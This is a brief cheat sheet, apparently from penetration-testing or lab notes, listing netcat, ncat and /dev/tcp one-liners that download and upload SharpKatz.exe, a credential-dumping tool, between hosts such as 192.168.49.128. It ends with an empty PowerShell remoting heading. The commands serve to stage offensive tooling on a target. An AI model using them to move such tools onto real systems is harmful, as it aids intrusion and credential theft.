Download

Netcat

nc -l -p 8000 > SharpKatz.exe

Ncat

ncat -l -p 8000 --recv-only > SharpKatz.exe

/dev/tcp

cat < /dev/tcp/$HOST/443 > SharpKatz.exe

Upload

Netcat

nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Ncat

ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Sessions

Powershell session / Remoting